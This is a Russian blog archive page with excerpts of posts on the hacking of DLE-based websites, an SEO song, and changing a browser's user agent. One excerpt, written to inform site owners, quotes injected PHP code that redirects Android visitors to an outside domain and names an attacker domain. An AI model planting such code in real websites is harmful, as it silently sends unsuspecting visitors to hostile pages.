Архив за Февраль 2013
Как ломали сайты на DLE
Воскресенье, 10 Фев 2013 5:12 Отзывов: 37Начало. Уязвимость в сайтах на движке Как видим, добавился не только новый домен http://yacounter.ws (ну любит злоумышленник зону ws, что тут поделать:)), но и eval. Но и за первую версию также есть случаи, которые говорят следующее. В файлах движка цмс dle появляется совсем другой код, например, такой: if(stripos($_SERVER['HTTP_USER_AGENT'],”Android”)!==false) {header(‘Location: http://refresh-browser.00xff.net/’);exit;} Как видим, домен здесь совсем […]
Уязвимость в сайтах на движке dle
Суббота, 09 Фев 2013 23:08 Отзывов: 38Как ломали сайты на популярном новостном движке ДЛЕ, хронология событий. Совсем недавно я писал о том, что в начале месяца было взломано огромное количество сайтов на dle, в результате чего на сайтах ничего не подозревающих владельцев, естественно без их ведома, прописывался вредоносный код. Сегодня поговорим более подробно про уязвимости в сайтах на движке dle, как […]
Песенка алматинского сеошника
Пятница, 08 Фев 2013 23:08 Отзывов: 4Прошлый раз я писал о том, как поменять юзер-агент в браузере, а сейчас предлагаю немного расслабиться и послушать забавную песенку про сео, которая так и называется «Песенка алматинского сеошника». Данную композицию исполняет алматинский сеошник в стиле рэпа – речитатива. Это короткая песенка длительностью в одну с лишним минуту. Там вы может услышать следующие строки про […]
Как поменять юзер-агент в браузере
Суббота, 02 Фев 2013 23:23 Отзывов: 5Что такое юзер-агент и для чего его нужно менять? User Agent (юзер-агент) – клиентское приложение, работающее по определенным правилам (протоколам). В роли таких приложений могут выступать различные браузеры, мобильные устройства (смартфоны), роботы поисковых систем. При посещении какого-либо веб-узла, сео-блога в интернете приложение посылает информацию о себе виде HTTP-запроса, который начинается словами: User-Agent (User-agent). Эта информация […]